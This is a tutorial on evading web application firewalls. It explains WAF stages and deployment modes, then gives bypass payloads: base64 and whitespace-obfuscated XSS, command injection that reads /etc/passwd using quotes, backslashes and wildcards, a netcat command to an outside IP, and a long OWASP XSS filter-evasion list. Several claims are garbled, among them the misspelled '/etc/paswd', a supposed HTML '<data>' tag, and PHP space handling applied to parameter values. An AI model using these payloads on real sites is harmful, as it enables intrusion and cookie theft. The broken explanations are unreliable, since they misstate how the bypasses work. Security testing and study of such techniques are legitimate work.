😳
WAF evasion techniques
Introduction
How does a WAF work?
Deploying a WAF
Cloud-based + Fully Managed as a Service
Cloud-based + Self Managed
Cloud-based + Auto-Provisioned
On-premises Advanced WAF (virtual or hardware appliance)
WAF bypasses
Base64 encoding our payload
Language specific tricks
Other techniques
Don't forget about wildcard
One list trick up our sleeves
OWASP XSS WAF filter bypass strings
Resources
Introduction
What you need to know about WAF evasion techniques before we start is that this is a topic that is VERY
hard to describe properly. WAFs are super diverse and research into them is sparse. All of this is because a
WAF can be configured just like any networking component. The configuration can differ from target to
target and this is a real challenge. We will first explore how WAFs work so we can design a proper attack
technique. You need to know your enemy before you can fight it.
How does a WAF work?
WAF evasion techniques 1
WAFs usually consist of several stages but not all of them have the same stages. Some WAFs don't have a
normalization stage for example which makes them vulnerable to simple encodings like base64 or HEX of
the payload. Some might even be missing the pre-processor if they are a bit less advanced and they might
only have the input validation for example.
The pre-processor stage consists of putting all data in the same format and trying to understand what we
are dealing with. WAFs can get several kinds of traffic coming through their filters like HTTP or HTTPs but
also GET or POST or even if the body is made of JSON data or simply consists of parameters. All of these
requests need to be analysed to know where the user submitted data is so we can check that later on. The
pre-processor will also try to detect outliers such as malformed URLs and will discard them before they
reach the input validation. We do all of this because input validation is an intensive process which takes a
long time and we want to make sure we only validate what we need to.
Normalization will try to decode any UTF or encoded values to normal text. Researches have found it that
they can trick the input validation by encoding their attack vectors into base64 for example. WAF builders
caught onto this and started implementing normalization stages to combat this but this doesn't mean there
are not more vulnerable WAFs out there. Even with the normalization stage existing, some WAF developers
choose to not implement it to keep their costs down and it will also take a long time before all old WAFs out
there will be updated to include the current normalization techniques.
The input validation seems very logical as it simply validates our input but validating input is never simple.
For example we might ban the word "javascript" completely but if someone wants to write a text about
javascript he's going to have a bad time.
Up until recently the input validators were pretty dumb. They would only check what they were told to
check and while humans have been getting pretty good at setting up these rules that the validators follow,
we are missing a lot of context. Every company is different and maybe needs a slightly different approach.
Recently AI technologies have been rising up and they will look for patterns. Those are the cutting edge
WAFs and that's where we can get some cutting edge research done if that is interesting to us.
WAF evasion techniques 2
Deploying a WAF
A WAF can be deployed in several modes, many hunters do not know this yet but the way a WAF is
deployed will also slightly alter our attack technique. More on this later)
Cloud-based + Fully Managed as a Service
The big advantage of this method is that we can easily create a secure environment without having all the
knowledge about WAFs in-house. We also don't need to worry about hosting another server since the WAF
operates in the cloud.
Cloud-based + Self Managed
WAF evasion techniques 3
In this instance we can take advantage of the power of the cloud which means that we don't have to
provide our own hosting server. This will save us a headache with managing that server but we still need to
manage our WAF ourselves so we need to have some decent IT knowledge in house. After all it is not an
easy task to configure a WAF properly as you will see later on.
Cloud-based + Auto-Provisioned
WAF evasion techniques 4
In this instance we auto provision the default configuration or one that WAF provider has provided for us.
This is the easiest way to get started but also the least safe way. We don't need as much in house it
knowledge for this situation and we can save costs by not needing the WAF provider at every configuration
deploy. The problem is that a default configuration is not very safe. Your organisation might require drastic
changes and you might never even be aware of the gaping security holes that this auto-provisioning has
provided. That being said, it may seem like this will always cause a lot of issues but that is not true. The
default configurations can be quite safe but they are fine tuned to the average company. How well do you
fit in with the average company?
On-premises Advanced WAF (virtual or hardware appliance)
WAF evasion techniques 5
In this scenario we host the WAF on premise. This will bring on some extra costs as we will need to provide
a server for the WAF to run on. This server can either be virtual or physical. Due to the complexity we need
several people to host this solution.
We need a WAF expert to make sure our WAF is configure properly and we also need a networks engineer
to set up our server and make sure that the traffic is routed through the WAF first and also through the
firewall still as a WAF does not replace a firewall.
WAF bypasses
So now that we know how a WAF works and how it can be configured we can finally think about attacking
it. The main functionality seems to be to check our input and validate that it is safe. Knowing this there
might be several ways to get around these checks.
Base64 encoding our payload
A WAF might be blocking the following request on a page where q is a parameter that stands for Query in a
search function. The q parameter's value get's reflected on the page if there are no results found.
/?q=<javascript:alert(document.cookie)>
WAF evasion techniques 6
This is because the WAF might be set up to block anything containing alert(*) or anything containing
"javascript". If we know this we might be able to fool the server by encoding our payload for example. In
HTML we can indicate that we are talking about base64 using the <data> tag. In there we can indicate
that we are working with Base64.
/?q=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
Using this technique we might be able to pass by some of the dumber WAFs that will look at this attack
string and don't see the word javascript or alert which will result in the attack string being allowed. The
server will then decode the message as expected resulting in an alert.
Language specific tricks
https://site.com/index.php?%20file=cat /etc/paswd
https://site.com/index.php?file=cat /etc/pa%20swd
In this situation we are relying on the fact that PHP will replace whitespaces in the URL with underscores.
%20 is the url encoded value for a space.
https://site.com/index.php?%file=cat /etc/paswd
https://site.com/index.php?file=cat /etc/pas%wd
ASPX has a similar strange behavior where it will just remove the % sign if it's not followed by 2 numbers.
This will allow us to pull some cool tricks when a waf does not reject unknown parameters.
Other techniques
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
Some WAFs will see this string when they are looking for "src=x" or "= alert" and they will only look at that
literal string. Since our attack string contains spaces it will be allowed and later on the webserver will
remove the spaces for us and pop our alert.
https://site.com/index.php?file=cat /etc/pa\swd
WAFs don't just serve to block XSS requests. It can also block LFI attacks. We might be able to simple fool
the server by adding in a special character like \ into the string. In linux this character is allowing us to
escape characters but since we only escape the s character it prints it litteraly so on the server we just see
"cat /etc/pa\swd" which in bash is the same as "cat /etc/paswd".
https://site.com/index.php?file=cat /etc/pa*swd
https://site.com/index.php?file=cat /etc/pa**swd
https://site.com/index.php?file=cat /etc/pa's'wd
https://site.com/index.php?file=cat /etc/pa"s"wd
WAF evasion techniques 7
We can think of several variation of these special characters which server a purpose in linux.
https://site.com/index.php?command=n'c' 10.10.10.10 4234
We can do exactly the thing to commands when we enter the above command into bash it would just
ignore the single quotes.
Don't forget about wildcard
So we've seen that wildcards can sometimes be used to evade filters but some filters are still pretty strict.
Due to some bash tricks we can remove most of our commands and still have them work!
https://site.com/index.php?file=cat /e??/p????
https://site.com/index.php?file=cat /etc/?????
https://site.com/index.php?file=cat /???/paswd
The above commands will all grab the /etc/paswd file because of how bash works with wildcards. It will try
to grab the first file it sees that matches those criteria and if we craft our attack string well enough we can
even execute commands. We just have to grab them from /usr/bin.
https://site.com/index.php?command=/???/???/nc
Due to the way default unix is set up, usually "/???/???" will lead to usr/bin and if we use our imagination we
can get very far with just question marks.
One list trick up our sleeves
THIS IS PURELY INFORMATIONAL AND YOU SHOULD NEVER TRY THIS AS IT CAN KILL YOUR CLIENTS
NETWORK!
WAFs take time to check requests and when there are a ton of requests coming in you don't want to have
to delay your websites response time because the WAF can't keep up. For this reason most WAFs are
configured to skip some requests if the load is too heavy. This can be used by an attacker so make sure
that you know this behaviour can occur if you are setting up a big network containing a WAF. You can not
prevent this behaviour but you can monitor for it.
If you ever see very high server load, make sure you don't ignore it and look into it ASAP because it could
be an attacker trying to overload your WAF system. Make sure you have proper monitoring solution in
place and maybe even a backup WAF with a load balancer in front of it to make sure you don't overload
your WAFs too easily. This is always good, two WAFs are better than one WAF because if one fails we will
always have a backup.
OWASP XSS WAF filter bypass strings
OWASP gives us some XSS attack strings on their website that are designed to pass around some of the
most common WAFs. (https://owasp.org/www-community/xss-filter-evasion-cheatsheet)
WAF evasion techniques 8
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/onmouseover="javaSCRIPT:confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
Resources
https://interact.f5.com/rs/653SMC783/images/EBOOKSEC242055496-which-waf-is-right-product-
FNL.pdf
https://www.f5.com/services/resources/glossary/web-application-firewall#:~:text=A WAF protects your
web,and what traffic is safe.
https://owasp.org/www-community/xss-filter-evasion-cheatsheet
https://campus.barracuda.com/product/webapplicationfirewall/doc/4259853/configuring-url-
normalization/
WAF evasion techniques 9
